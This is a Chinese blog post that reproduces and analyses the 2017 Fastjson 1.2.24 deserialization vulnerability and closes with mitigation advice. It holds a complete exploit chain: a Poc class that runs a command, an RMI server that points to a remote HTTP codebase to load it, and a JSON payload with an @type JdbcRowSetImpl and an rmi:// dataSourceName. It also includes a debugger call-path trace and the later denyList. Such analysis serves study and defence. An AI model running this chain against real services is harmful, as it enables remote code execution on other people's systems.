首页 前端知识 Fastjson 1.2.24 反序列化漏洞研究

Fastjson 1.2.24 反序列化漏洞研究

2024-06-03 12:06:08 前端知识 前端哥 533 19 我要收藏

一、概述

fastjson自2017年爆出序列化漏洞以来,漏洞就一直停不下来。本次主要研究2017年第一次爆出反序列化漏洞。

二、漏洞复现

  首先在本机简单进行下漏洞复现。

2.1 创建Poc类

该类为最终触发利用代码的类,因为是通过JAVA RMI方式读取,所以该类需继承UnicastRemoteObject。该对象执行后会在windows环境中弹出计算器。使用javac编译Poc类,生成Poc.class文件。并启用一个简单的Http服务,提供读取Poc.class文件,通过http://10.2.13.27:8888/Poc.class可成功访问到Poc.class文件

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class Poc extends UnicastRemoteObject{
    
    public Poc() throws RemoteException{
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args){
        try {
            Poc poc = new Poc();
        }catch (Exception e){
            e.printStackTrace();
        }
        
    }
}

2.2 创建RMI服务端

public class RMIService {
    
    public static void main(String[] args){
        try {
            //netPoc poc = new Poc();
            Registry registry = LocateRegistry.createRegistry(10999);
            //JdbcRowSetImpl中是通过jndi lookup方法进行代码注入
            Reference reference = new Reference("Poc","Poc","http://10.2.13.27:8888/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("Poc",referenceWrapper);
            System.out.println("bind 10999....");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    
}

2.3 示例代码

若Jdk版本高于8u113需要添加 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true") ,否则将不会成功。因为高版本jdk禁止了RMI协议使用远程codebase。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

/**
 * 利用JdbcRowSetImpl进行反序列化,但高版本jdk无法成功JDK 6u132, 7u122, or 8u113
 * */
public  class FastJsonService {
    public static void main(String[] args){
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        //JdbcRowSetImpl
        String str = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}";
        JSONObject jsonObject = JSON.parseObject(str);
    }
    
}

2.4 运行效果

三、漏洞分析 

3.1 总体分析

fastjson主要用来进行序列化和反序列化操作。本次漏洞利用主要是反序列化模块,当我们传入一个json字符串时

"{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}";

因json中指定了@type参数,故fastjson会尝试将该字符串反序列化为JdbcRowSetImpl类对象,并调用类中的set方法对dataSourceName和autoCommit属性进行赋值。
fastjson进行反序列化时,如果类中存在无参构造函数,则直接调用无参构造函数进行初始化类。若不存在无参构造函数,则会寻找参数最多的构造函数进行初始化类。

故会直接调用JdbcRowSetImpl类中的无参构造函数进行类初始化。可看到conn设置为null。所以setAutoCommit方法会进入else中,即调用 this.conn = this.connect(); 

在connect()中可以看到会调用JNDI的lookup函数,并且参数值为我们反序列化时传入的dataSourceName属性,dataSourceName传入值为rmi://10.2.13.27:10999/Poc,所以最终会成功执行到我们编写的Poc类。

3.2 详细分析  

首先,借用别人画的fastjson部分类关系图

鉴于我们的Payload最终是 Runtime.getRuntime.exec("calc") ,所以我们在Runtime类的exec方法中设置断点并启动调试模式

完整调用路径如下图,我们跟踪下调用过程

3.2.1 JSON 

首先调用JSON对象,依次为  parseObject(String text)-->parse(String text)->parse(String text,int featrues) ,其中text为我们输入的 {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true}  ,features为989

在parse(String text,int features)中调用 DefaultJSONParser parser=new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features); 

首先初始化了一个DefaultJSONParser的对象,调用的是DefaultJSONParser的三参数构造函数,在DefaultJSONParser构造函数中调用了 new JSONScanner(input,features) 

其中input即为我们的输入 {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true}  ,features为989

随后调用 DefaultJSONParser(Object input,JSONLexer lexer,ParserConfig config) 
主要将上一步生成的JSONScanner对象赋值给JSONlexer对象lexer并进行一些初始化操作,ch设置为‘{’,token设置为JSONTOKEN.LBRACE即12

至此 new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features) 完成。
下一步进入JSON类的 parse(String text,int features) 的 Object value=parser.parse()  ,即DefaultJSONParse类的parse()方法

3.2.2 DefaultJSONParse

继续进入 parse()--》parse(ObjectfieldName) ,上一步DefaultJSONParse初始化时,token设置成JSONTOKEN.LBRACE

随后进入 parseObject(object,fieldName) ,通过 scanSymbol 获取到 “@type” 

再获取到我们payload中@type的值为"com.sun.rowset.JdbcRowSetImpl",并通过loadClass加载

随后进入

3.2.3 JavaBeanDeserializer

进入JavaBeanDeserializer的deserialze方法,并执行到 boolean match = parseField(parser, key, object, type, fieldValues); 

 一路跟踪,最后进入 public void setValue(Object object, Object value)  方法,method即为我们传入的JdbcRowSetImpl.setAutoCommit,value即为true。最终会调用传入类的set方法进行赋值,即最终调用setAutoCommit(true)。

至此,就进入我们在3.1中对jdbcRowSetImpl类的setAutoCommit方法的分析,最终导致了远程代码执行。

四、漏洞预防

fastjson在1.2.25开始的版本中新增 public Class<?> checkAutoType(String typeName, Class<?> expectClass) 方法,denyList数组中的类均无法进行反序列化,但仍然存在绕过checkAutoType方法的途径,也导致后续fastjson漏洞不断。

private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(","); 

若要避免fastjson已知漏洞,请直接升级到最新版。

转载请注明出处或者链接地址:https://www.qianduange.cn//article/10679.html
评论
发布的文章

js-jquery页面跳转集合

2024-06-08 22:06:13

echarts柱状图数据过多

2024-06-08 22:06:31

大家推荐的文章
会员中心 联系我 留言建议 回顶部
复制成功!